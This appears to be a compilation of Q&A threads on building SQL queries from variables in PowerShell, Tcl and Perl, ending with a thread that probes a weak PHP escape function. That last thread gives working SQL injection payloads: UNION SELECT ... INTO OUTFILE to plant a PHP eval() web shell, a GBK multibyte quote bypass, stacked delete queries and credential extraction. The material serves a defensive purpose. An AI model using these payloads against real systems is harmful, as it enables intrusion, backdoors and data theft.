SQL Query not accepting variable when using NOT IN clause - sql

I am trying to pass a variable into a SQL NOT IN update statement to update a few table columns. I run the following commands and do not receive any errors. However, the update does the exact opposite of the commands.
$VMs = #()
foreach ($VM in VMs){
invoke-sqlcmd -Database $Database -server $SQLServer -Query "Update (table) set Column1= 1, Column2= 0, column3 = GETDATE() where table.vmid NOT IN ('${$vm.VMid}')"
}
I see that all the data is being passed into the variable. But, the NOT IN update statement is not updating my column correctly. Also, I do not receive any error messages when running my code.

Let me build on the helpful comments by Larnu and Santiago Squarzon.
First, the obligatory caveat:
Building SQL queries as self-contained strings bears the risk of SQL injection, i.e. inadvertent execution of potentially malicious queries.
This risk can be avoided by passing dynamic parts of the query as parameters to a parameterized statement (query).
While Invoke-Sqlcmd does support passing parameters via its -Variable parameter, it apparently does not prevent SQL injection, due to its string-based implementation for the sake of compatibility with the SQL Server CLIs, according to Invoke-Sqlcmd considered harmful.
The System.Data.SqlClient.SqlConnection .NET API offers true parameterized queries, as shown in this answer.
If you do need to construct a self-contained query string with parameter values embedded in it, be sure that you either fully control or implicitly trust those values.
In your particular case, given that the dynamic values are identifiers that you obtain yourself, there should be no security concern.
What is required in your case is to programmatically create a ,-separated list of the VM IDs each enclosed in '...', to be used as the RHS of the [NOT] IN T-SQL operator; e.g. (I'm using … to represent omitted parts:
… NOT IN '{f27286a7-…}', '{927286a7-…}'
As Santiago points out, there is no need for a loop:
# Get all VM IDs, as an array, courtesy of
# member-access enumeration
$vmIds = $VMs.vmid
# Transform the IDs to a string list such as:
# '{f27286a7-…}', '{927286a7-…}'
# See below for an explanation.
$quotedIdList = $vmIds -replace '^|$', "'" -join ', '
# Now embed this string in your query via string interpolation
# and execute it.
# Note that you could embed the expression above directly in the string, with $(...)
Invoke-Sqlcmd -Database $Database `
-Server $SQLServer `
-Query #"
UPDATE (table) SET Column1= 1, Column2= 0, column3 = GETDATE()
WHERE table.vmid NOT IN ($quotedIdList);"
"#
Explanation of the expression used to transform the array elements into single-line list (string) representation:
Note that, for added robustness, any ' characters embedded in the array elements are escaped as ''.
# -> String with the following verbatim content:
# 'three', 'o''clock'
#('three', "o'clock") -replace "'", "''" -replace '^|$', "'" -join ', '
-replace "'", "''" doubles all embedded ' characters in order to escape them.
-replace '^|$', "'" uses the regex capabilities of the -replace operator to effectively enclose each element in '...': ^|$ matches both (|) the position at the start (^) and end ($) of each element, and places a ' there.
-join ', ' then places the separator string between the resulting, quoted elements, using the -join operator.
Alternatively, use the form suggested by Santiago:
"'" + (#('three', "o'clock") -replace "'", "''" -join "', '") + "'"
The above solutions shown inside an expandable (double-quoted) PowerShell string ("..."), which requires use of $(...), the subexpression operator:
"list: $(#('three', "o'clock") -replace "'", "''" -replace '^|$', "'" -join ', ')"
# Note that the outer ' chars. can now be embedded directly in the string,
# outside $(...)
"list: '$(#('three', "o'clock") -replace "'", "''" -join "', '")'"

Related

Exception when SQL query has multiple word string to W10 desktop search index

I've gobbled together a basic Powershell script to query W10's Windows Desktop Search (WDS) index. Here is the relevant bits,
$query = "
SELECT System.DateModified, System.ItemPathDisplay
FROM SystemIndex
WHERE CONTAINS(System.Search.Contents, '$($text)')
"
$objConnection = New-Object -ComObject adodb.connection
$objrecordset = New-Object -ComObject adodb.recordset
$objrecordset.CursorLocation = 3
$objconnection.open("Provider=Search.CollatorDSO;Extended Properties='Application=Windows';")
$objrecordset.open($query, $objConnection, $adOpenStatic)
Until now my tests have been using single words and everything works. But when I started using two words, it falls apart with the following error,
Searching for 'and then'...
SELECT System.DateModified, System.ItemPathDisplay
FROM SystemIndex
WHERE CONTAINS(System.Search.Contents, 'and then')
Exception from HRESULT: 0x80040E14
At D:\searchSystemIndex.ps1:72 char:1
+ $objrecordset.open($query, $objConnection, $adOpenStatic)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OperationStopped: (:) [], COMException
+ FullyQualifiedErrorId : System.Runtime.InteropServices.COMException
Using Explorer to query the index using content:"and then" works fine.
Any ideas?
According to the documentation for Windows Search SQL Syntax and the examples in the CONTAINS predicate, if you want to search for a literal phrase with "multiple words or included spaces" you need to quote the phrase inside the query:
Type: Phrase
Description: Multiple words or included spaces.
Examples
...WHERE CONTAINS('"computer software"')
So in your example you probably want:
$text = "and then"
$query = "
SELECT System.DateModified, System.ItemPathDisplay
FROM SystemIndex
WHERE CONTAINS(System.Search.Contents, '`"$($text)`"')
"
# ^^ ^^
# quoted search phrase
(note the quotes are prefixed with a backtick as the quote would otherwise terminate your entire query string.)
If you're not looking for the exact phrase "and then", and you just want results that contain "and" and "then" it looks like you need to to do something like this:
Type: Boolean
Description: Words, phrases, and wildcard strings combined by using the Boolean operators AND, OR, or NOT. Enclose the Boolean terms in double quotation marks.
Example:
...WHERE CONTAINS('"computer monitor" AND "software program" AND "install component"')
...WHERE CONTAINS(' "computer" AND "software" AND "install" ' )
$query = "
SELECT System.DateModified, System.ItemPathDisplay
FROM SystemIndex
WHERE CONTAINS(System.Search.Contents, '`"and`" AND `"then`"')
# ^^^^^^^^^^^^^^^^^^^^^^
# multiple independent words
"

How to pass variable in SQL from Powershell script? [duplicate]

I have a string that I want to insert dynamically a variable. Ex;
$tag = '{"number" = "5", "application" = "test","color" = "blue", "class" = "Java"}'
I want to accomplish:
$mynumber= 2
$tag = '{"number" = "$($mynumber)", "application" = "test","color" = "blue", "class" = "Java"}'
What I want is to have the variable inserted on the string, But it is not going through. I guess the '' sets all as a string. Any recomendations on how should I approach this?
thanks!
powershell test and trial and error. Also Google.
The reason your current attempt doesn't work is that single-quoted (') string literals in PowerShell are verbatim strings - no attempt will be made at expanding subexpression pipelines or variable expressions.
If you want an expandable string literal without having to escape all the double-quotes (") contained in the string itself, use a here-string:
$mynumber = 2
$tag = #"
{"number" = "$($mynumber)", "application" = "test","color" = "blue", "class" = "Java"}
"#
To add to Mathias' helpful answer:
Mistakenly expecting string interpolation inside '...' strings (as opposed to inside "...") has come up many times before, and questions such as yours are often closed as a duplicate of this post.
However, your question is worth answering separately, because:
Your use case introduces a follow-up problem, namely that embedded " characters cannot be used as-is inside "...".
More generally, the linked post is in the context of argument-passing, where additional rules apply.
Note: Some links below are to the relevant sections of the conceptual about_Quoting_Rules help topic.
In PowerShell:
only "..." strings (double-quoted, called expandable strings) perform string interpolation, i.e. expansion of variable values (e.g. "... $var" and subexpressions (e.g., "... $($var.Prop)")
not '...' strings (single-quoted, called verbatim strings), whose values are used verbatim (literally).
With "...", if the string value itself contains " chars.:
either escape them as `" or ""
E.g., with `"; note that while use of $(...), the subexpression operator never hurts (e.g. $($mynumber)), it isn't necessary with stand-alone variable references such as $mynumber:
$mynumber= 2
$tag = "{`"number`" = `"$mynumber`", `"application`" = `"test`",`"color`" = `"blue`", `"class`" = `"Java`"}"
Similarly, if you want to selectively suppress string interpolation, escape $ as `$
# Note the ` before the first $mynumber.
# -> '$mynumber = 2'
$mynumber = 2; "`$mynumber` = $mynumber"
See the conceptual about_Special_Characters help topic for info on escaping and escape sequences.
If you need to embed ' inside '...', use '', or use a (single-quoted) here-string (see next).
or use a double-quoted here-string instead (#"<newline>...<newline>"#):
See Mathias' answer, but generally note the strict, multiline syntax of here-strings:
Nothing (except whitespace) must follow the opening delimiter on the same line (#" / #')
The closing delimiter ("# / '#) must be at the very start of the line - not even whitespace may come before it.
Related answers:
Overview of PowerShell's expandable strings
Overview of all forms of string literals in PowerShell
When passing strings as command arguments, they are situationally implicitly treated like expandable strings (i.e. as if they were "..."-enclosed); e.g.
Write-Output $HOME\projects - see this answer.
Alternatives to string interpolation:
Situationally, other approaches to constructing a string dynamically can be useful:
Use a (verbatim) template string with placeholders, with -f, the format operator:
$mynumber= 2
# {0} is the placeholder for the first RHS operand ({1} for the 2nd, ...)
'"number" = "{0}", ...' -f $mynumber # -> "number" = "2", ...
Use simple string concatenation with the + operator:
$mynumber= 2
'"number" = "' + $mynumber + '", ...' # -> "number" = "2", ...

Tcl SQLite update variable substitution cannot have apostrophe

Here's the problem: if I use { } for the update command like so:
package require sqlite3
fileRepo eval {UPDATE uploads SET $col=$data WHERE rowid=$id}
I cannot substitute any variables inside the curly brackets. it all has to be hard coded.
However, if I use " " for the update command like so:
fileRepo eval "UPDATE uploads SET $col='$data' WHERE rowid=$id"
I can substitute variables inside the double quotes, but I must use ' ' in order to put in data with spaces so sql sees it as one input. If I don't I get an error if I send something like
$data = "Legit Stack"
Because it has a space the sql will choke on the word: Stack
unless it is placed within single quotes
Therefore...
If I send this data to the update command:
$col = description
$data = "Stack's Pet"
I get the following error:
near "s": syntax error while executing "fileRepo eval "UPDATE uploads
SET $col='$data' WHERE rowid=$id" ...
Thus given these rules I can see no way to pass a single quote or apostrophe to the update command successfully. Is there a different way to do this?
Thanks!
While it is true that you can escape the single quotes by doubling them (as usual in SQL), you open up your code to the dangers of SQL injection attacks.
It might be better to split your code into two distinct steps:
Substitute with format {UPDATE uploads SET %s=$data WHERE rowid=$id} $col
let sqlite3 magic eval turn the $data and $id into bound variables for a prepared statement
This way you only need to sanitize your col variable, to make sure it contains a valid column name and nothing else (should be easy), instead of all your data. In addition, you do not need to copy large values as often, so a two step approach will even be faster. To make it even clearer you want to use a bind variable, try the alternative syntax with a : in front of a variable name.
package require sqlite3
set stmt [format {UPDATE uploads SET %s=:data WHERE rowid=:id} $col]
fileRepo eval $stmt
Recommended Reading:
For the : syntax: https://www.sqlite.org/tclsqlite.html#eval
For more information about SQL Injections: https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
You have to use an escape apostrophe. So it should look like this:
$data = "Stack''s Pet"

Using SQL like and % in Perl

When I use the following code, I only seem to print the last results from my array. I think it has something to do with my like clause and the % sign. Any ideas?
my #keywords = <IN>;
my #number = <IN2>;
foreach my $keywords (#keywords)
{
chomp $keywords;
my $query = "select *
from table1 a, table2 b
where a.offer = b.offer
and a.number not in (#number)
and a.title like ('%$keywords%')";
print $query."\n";
my $sth = $dbh->prepare($query)
or die ("Error: Could not prepare sql statement on $server : $sth\n" .
"Error: $DBI::errstr\n");
$sth->execute
or die ("Error: Could not execute sql statement on $server : $sth\n" .
"Error: $DBI::errstr\n");
while (my #results = $sth->fetchrow_array())
{
print OUT "$results[0]\t$results[1]\t$results[2]\t$results[3]\t",
"$results[4]\t$results[5]\t$results[6]\t$results[7]\t",
"$results[8]\n";
}
}
close (OUT);
I'm guessing that your IN file was created on a Windows system, so has CRLF sequences (roughly \r\n) between the lines, but that you're running this script on a *nix system (or in Cygwin or whatnot). So this line:
chomp $keywords;
will remove the trailing \n, but not the \r before it. So you have a stray carriage-return inside your LIKE expression, and no rows match it.
If my guess is right, then you would fix it by changing the above line to this:
$keywords =~ s/\r?\n?\z//;
to remove any carriage-return and/or newline from the end of the line.
(You should also make the changes that innaM suggests above, using bind variables instead of interpolating your values directly into the query. But that change is orthogonal to this one.)
Show the output of the print $query and maybe we can help you. Better yet, show the output of:
use Data::Dumper;
$Data::Dumper::Useqq=1;
print Dumper($query);
Until then, your comment about "replaces the an of and" makes me think your input has carriage returns, and the use of #number is unlikely to work if there's more than one.

Found a weak escape function for MySql, how to exploit?

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.
The escape function works as follows (PHP example).
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').
Who can defeat this escape function?
Requirements:
String in queries are always enclosed in quotes.
Double-quotes are never used.
MySQL connection is set to UTF8.
Simple examples:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.
The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Vulnerable Condition 1: no quote marks used.
mysql_query("select username from users where id=".escape($_GET['id']));
Exploit:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Vulnerable Condition 2: double quote marks used
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Exploit:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Vulnerable Condition 2: single quotes are used, however an alternative character set is used..
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Exploit:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.
Indeed, in addition you could try something with UNION SELECT
shop.php?productid=322
=>
shop.php?productid=322 UNION SELECT 1,2,3 FROM users WHERE 1;--
To display information from other tables.
Of course you would have to change the table name and the numbers inside the UNION SELECT to match the amount of columns you have. This is a popular way of extracting data like admin user names and passwords.
The escape function doesn't handle multibyte characters. Check http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string to see how to exploit this escape function.
Have fun hacking your database!
How about when dealing with numbers?
shop.php?productid=322
becomes
SELECT * FROM [Products] WHERE productid=322
shop.php?productid=322; delete from products;--
becomes
SELECT * FROM [Products] WHERE productid=322; delete from products;--
(Not all queries are built with single quotes and strings)
Since you are using UTF-8 as the encoding, this could be vulnerable to an overlong UTF-8 sequence. An apostrophe character ('), while normally encoded as 0x27, could be encoded as the overlong sequence 0xc0 0xa7 (URL-encoded: %c0%a7). The escape function would miss this, but MySQL may interpret it in a way that causes a SQL injection.
As others have mentioned, you really need to be using mysql_real_escape_string at minimum (easy fix in your case), which should be handling character encoding and other issues for you. Preferably, switch to using prepared statements.
I've never used PHP, however, can you not use Stored Procedure calls instead of direct SQL statements? It seems like a better defense against SQL injection than trying to use an escape function.
An escape function, however, would be useful against malicious javascript.
how about...
\' or 1=1--
Which should be expanded to:
\'' or 1=1--
So using it for id in the following query...
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
should result in:
$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';